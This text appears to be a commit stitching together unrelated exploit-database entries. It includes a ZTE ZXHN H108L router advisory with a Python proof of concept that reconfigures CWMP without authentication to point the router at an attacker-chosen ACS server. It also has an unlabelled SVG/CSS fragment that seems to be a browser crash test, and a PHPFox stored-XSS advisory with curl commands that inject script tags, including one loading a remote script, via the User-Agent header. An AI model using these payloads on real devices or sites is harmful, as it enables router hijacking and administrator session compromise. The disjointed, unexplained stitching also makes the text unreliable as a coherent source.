Commit a28bed7

About the software

==================

ZTE ZXHN H108L is provided by some large Greek ISPs to their subscribers.

Vulnerability Details

=====================

CWMP configuration is accessible only through the Administrator account. CWMP is a protocol widely used by ISPs worldwide for remote provisioning and troubleshooting their subscribers' equipment. However editing the CWMP configuration (more specifically sending the POST request) does not require any user authentication.

Affected Products

=================

Device model : ZTE ZXHN H108L

Firmware Version : ZXHN H108LV4.0.0d_ZRQ_GR4

Proof of Concept

================

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"

acs_user = "user"

acs_pass = "pass"

# Connection request parameters. When a request is made to the following URL, using the specified user/pass combination,

# router will connect back to the ACS server.

conn_url = "/tr069"

conn_port = "7564"

conn_user = "user"

conn_pass = "pass"

#Periodic inform parameters

active = 1

interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL': acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", data=payload)

Impact

======

The described vulnerability allows any unauthenticated user to edit the CWMP configuration. Exploitation can be performed by LAN users or through the Internet if the router is configured to expose the web interface to WAN. Also because the router lacks of CSRF protection, malicious JS code can be deployed in order to exploit the vulnerability through a malicious web page.

Severity

========

Medium

References

==========

https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/

Disclosure Timeline

===================

27/10/2014 - First communication attempt to both vendor and ISP

04/11/2014 - ZTE response states that ISP should be contacted

03/11/2014 - Second attempt to contact the ISP.

14/11/2014 - No response from ISP. Public Disclosure

Contact Information

===================

Domain: https://projectzero.gr

Social: twitter.com/projectzerolabs

Contact: labs _at_ projectzero.gr

@w3bd3vil

<style>

svg {

padding-top: 1337%;

box-sizing: border-box;

}

</style>

<svg viewBox="0 0 500 500" width="500" height="500">

<polyline points="1 1,2 2"></polyline>

</svg>

</html>

# Exploit Title: PHPFox XSS AdminCP

# Date: 2014-10-22

# Exploit Author: Wesley Henrique Leite aka "spyk2r"

# Vendor Homepage: http://www.moxi9.com

# Version: All version

# CVE : CVE-2014-8469

# Response Vendor: fixed 2014-10-23 (to v4 Beta)

[+] DESCRIPTION

The system stores all urls accessed in a database table, below

information in the same 'phpfox_log_session'

[phpfox]> desc phpfox_log_session;

+---------------+----------------------+------+-----+---------+-------+

| Field | Type | Null | Key | Default | Extra |

+---------------+----------------------+------+-----+---------+-------+

++++++++++ more values and

| user_agent | varchar(100) | NO | | NULL | |

+---------------+----------------------+------+-----+---------+-------+

the column that can be manipulated is:

-> user_agent (100)

all acess store in the system, such as bots and users wandering around the

web site, can be seen in:

AdminCP

TOOLS > Online > Guests/Boots

Output

| IP ADDRESS | User-Agent | ...

knowing this, the following code was created to inject a script into the

AdminCP with User-Agent.

$ curl -A "<script src='http://www.example.com/script.js'></script>" \

http://www.meusite.com.br/

OR

$ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/

when any user with administrative access in.

'AdminCP'

TOOLS > Online > Guests/Boots

we have the script running in the administrative area.

[+] My Solution

(line 1.8)

1.1 --- a/module/core/template/default/controller/admincp/online-guest.html.php

Tue Oct 21 10:00:11 2014 -0200

1.2 +++ b/module/core/template/default/controller/admincp/online-guest.html.php

Tue Oct 21 12:28:39 2014 -0200

1.3 @@ -25,7 +25,7 @@

1.4 {foreach from=$aGuests key=iKey item=aGuest}

1.5 <tr class="checkRow{if is_int($iKey/2)} tr{else}{/if}">

1.6 <td><a href="{url link='admincp.core.ip'

search=$aGuest.ip_address_search}" title="{phrase

var='admincp.view_all_the_activity_from_this_ip'}">{$aGuest.ip_address}</a></td>

1.7 - <td>{$aGuest.user_agent}</td>

1.8 + <td>{$aGuest.user_agent|strip_tags}</td>

1.9 <td class="t_center">

1.10 <div class="js_item_is_active"{if !$aGuest.ban_id}

style="display:none;"{/if}>

1.11 <a href="#?call=ban.ip&ip={$aGuest.ip_address}&active=0"

class="js_item_active_link" title="{phrase var='admincp.unban'}">{img

theme='misc/bullet_green.png' alt=''}</a>

1.12 @@ -43,4 +43,4 @@

1.13 <div class="extra_info">

1.14 {phrase var='admincp.no_guests_online'}

1.15 </div>

1.16 -{/if}

1.17 \ No newline at end of file

1.18 +{/if}